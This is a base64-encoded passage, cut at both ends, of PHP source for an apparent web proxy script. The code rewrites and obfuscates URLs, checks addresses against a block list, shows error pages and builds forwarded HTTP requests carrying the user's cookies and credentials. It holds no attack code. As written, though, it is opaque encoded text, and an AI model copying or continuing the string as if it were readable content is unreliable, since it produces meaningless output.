aXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCRwYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1Nb2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHByb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICA